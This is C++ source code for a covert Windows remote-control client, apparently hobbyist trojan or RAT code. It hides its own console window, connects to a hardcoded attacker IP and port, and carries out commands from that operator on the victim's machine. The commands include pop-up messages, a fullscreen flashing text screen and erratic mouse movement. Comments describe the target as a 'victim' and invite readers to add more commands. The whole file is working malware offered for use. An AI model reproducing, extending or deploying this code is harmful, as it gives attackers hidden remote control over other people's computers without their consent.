#undef _WIN32_WINNT //For hiding/showing window
#define _WIN32_WINNT 0x0500
#include <windows.h> //Required for socket init
#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;
//function declaration prototypes
void crazyMouse(BOOL cmProc);
void Matrix(BOOL pwnProc);
char procCmd(char buff[200], SOCKET * fSocket);
void PoP(char message[200]);
// static variables (Dont know why i did this)
static BOOL pwnProc = false;
static BOOL pop = false;
//pointer to socket
SOCKET * pSock;
//for matrix
HWND hWnd = GetConsoleWindow();
int main(){
// First thing we want to do is make sure that our console is in-fucking-visible
ShowWindow( hWnd, SW_HIDE );
//Begin winsock chunk
char buf[256];
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0); //We want Winsock 2.0
int nret=WSAStartup(wsver, &wsdata); //Pass version 2.0 and pointer to implement
if(nret != 0){ //Init failed
/*A successful return value should be 0 */
std::cout<<"Startup failed, error code: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup Winsock library
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
//****PORT HERE****
sin.sin_port=htons(1337); //Connect to port 1337
//****PORT HERE****
//
////////////***************IP HERE////////////***************
sin.sin_addr.s_addr=inet_addr("172.16.3.161"); //Connect to this ip (Should be your ip, so the victim connects to you )
////////////***************IP HERE////////////***************
//
sin.sin_family=AF_INET;
if(connect(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){ //Check the condition
std::cout<<"Connect failed, error: "<<WSAGetLastError(); //Returns error code
WSACleanup(); //Cleanup the library
return -1;
}
std::cout<<"Connection successful!\n";
//***************************************************
// ^^^^^^^^^^^^ The program will always come back here to re-receive and re-compare commands.
pSock = &kSock;
// |
// v
//Back down
REC:
while (recv(kSock, buf, sizeof(buf), 0)){ //while the command is received
procCmd(buf,pSock); //push the received command into the procCmd function to be compared with a command list
}
//Back up
goto REC;
//^
//|
return 0;
}
//***************************************************
/////////////// BEGIN COMMAND LIST /////////////////
//the procCmd fucntion means ProcessCommand and is responsible for handling commands.
// If you are going to add new commands to this program you should start here.
char procCmd(char buff[200], SOCKET* fSocket){
// needs to be reinit'd cuz of cross function
SOCKET kSock = *fSocket;
/* This is where the magic happens, the received commands are compared to a hard coded list of commands. If it recognizes a command, it is sent to the appropriate function (or just executed if the code is small). I initially added in character return values so i could resend them back to the server (me) to verify if a command was executed or not. I never got around to it , maybe you can?*/
if (pop == true){ /*Pop is a special command because it displays a message box on the users screen. So the command pop would first need to written, which would make pop==true. Once it's true, it will be expecteing another sub-command for the actual contents of the messagebox, this is why the server-side code needed to deal with the pop command, so that it could prompt the user to input a sub command, i dont know why i did it this way.*/
PoP(buff);
pop = false;
return '1';
}
if (strcmp(buff,"pop")==0){
pop = true;
return '1';
}
if (strcmp(buff,"end")==0){
closesocket(kSock);
exit(0);
}
if (strcmp(buff,"-")==0){
ShowWindow( hWnd, SW_HIDE );
return '1';
}
if (strcmp(buff,"+")==0){
ShowWindow( hWnd, SW_SHOW );
return '1';
}
if (strcmp(buff,"pwn")==0){
Matrix(true);
return '1';
}
if (strcmp(buff,"unpwn")==0){
Matrix(false);
//clean up
ShowWindow( hWnd, SW_HIDE );
return '1';
}
if (strcmp(buff,"crazymouse")==0){
crazyMouse(true);
return '1';
}
if (strcmp(buff,"uncrazy")==0){ //not working
crazyMouse(false);
return '1';
}
return '0';
}
/////////////// BEGIN EXECUTABLE FUNCTIONS ////////////////////////////
// Pop up message - Grim
void PoP(char message[200]){
MessageBox(NULL,message,NULL,NULL);
}
/* this thing is really cute, it puts the dialog box into full screen and displays a bunch of green random texts like the matrix. If you want to stop it manually just press alt+enter to get out of fullscreen then close it.*/
// Matrix , total annhilation - Grim
void Matrix(BOOL pwnProc){
if (pwnProc==true) {
// make sure its visible
ShowWindow( hWnd, SW_SHOW );
keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);
START:
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}
}
//Crazy mouse - Grim
void crazyMouse(BOOL cmProc){
if(cmProc==true){
do{
Sleep(900);
int x = rand()%1000;
int y = rand()%700;
SetCursorPos(x, y);
}
while (cmProc==true);
}
}